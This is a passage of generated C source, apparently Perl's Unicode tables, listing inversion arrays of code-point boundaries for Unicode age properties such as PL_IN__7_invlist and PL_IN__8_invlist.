0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE27, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018B, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x10860, - 0x10900, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10A80, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B80, - 0x10C00, - 0x10C49, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x11080, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11180, - 0x111C9, - 0x111D0, - 0x111DA, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x12000, - 0x1236F, - 0x12400, - 0x12463, - 0x12470, - 0x12474, - 0x13000, - 0x1342F, - 0x16800, - 0x16A39, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x1B000, - 0x1B002, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1DE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0BF, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0E0, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F19B, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23B, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F300, - 0x1F321, - 0x1F330, - 0x1F336, - 0x1F337, - 0x1F37D, - 0x1F380, - 0x1F394, - 0x1F3A0, - 0x1F3C5, - 0x1F3C6, - 0x1F3CB, - 0x1F3E0, - 0x1F3F1, - 0x1F400, - 0x1F43F, - 0x1F440, - 0x1F441, - 0x1F442, - 0x1F4F8, - 0x1F4F9, - 0x1F4FD, - 0x1F500, - 0x1F53E, - 0x1F540, - 0x1F544, - 0x1F550, - 0x1F568, - 0x1F5FB, - 0x1F641, - 0x1F645, - 0x1F650, - 0x1F680, - 0x1F6C6, - 0x1F700, - 0x1F774, - 0x1FFFE, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__7_invlist[] = { /* for all charsets */ - 1220, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x8A0, - 0x8B3, - 0x8E4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FC, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5A, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD01, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD57, - 0xD58, - 0xD60, - 0xD64, - 0xD66, - 0xD76, - 0xD79, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F5, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CF7, - 0x1CF8, - 0x1CFA, - 0x1D00, - 0x1DF6, - 0x1DFC, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20BE, - 0x20D0, - 0x20F1, - 0x2100, - 0x218A, - 0x2190, - 0x23FB, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD2, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E43, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312E, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FCD, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA69E, - 0xA69F, - 0xA6F8, - 0xA700, - 0xA78F, - 0xA790, - 0xA7AE, - 0xA7B0, - 0xA7B2, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C5, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FC, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB60, - 0xAB64, - 0xAB66, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE2E, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018D, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x10330, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x10900, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111C9, - 0x111CD, - 0x111CE, - 0x111D0, - 0x111DB, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123E, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11301, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115CA, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11AC0, - 0x11AF9, - 0x12000, - 0x12399, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x13000, - 0x1342F, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x1B000, - 0x1B002, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1DE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F19B, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23B, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F300, - 0x1F32D, - 0x1F330, - 0x1F37E, - 0x1F380, - 0x1F3CF, - 0x1F3D4, - 0x1F3F8, - 0x1F400, - 0x1F4FF, - 0x1F500, - 0x1F54B, - 0x1F550, - 0x1F57A, - 0x1F57B, - 0x1F5A4, - 0x1F5A5, - 0x1F643, - 0x1F645, - 0x1F6D0, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F4, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1FFFE, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__8_invlist[] = { /* for all charsets */ - 1246, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x8A0, - 0x8B5, - 0x8E3, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FC, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xAFA, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 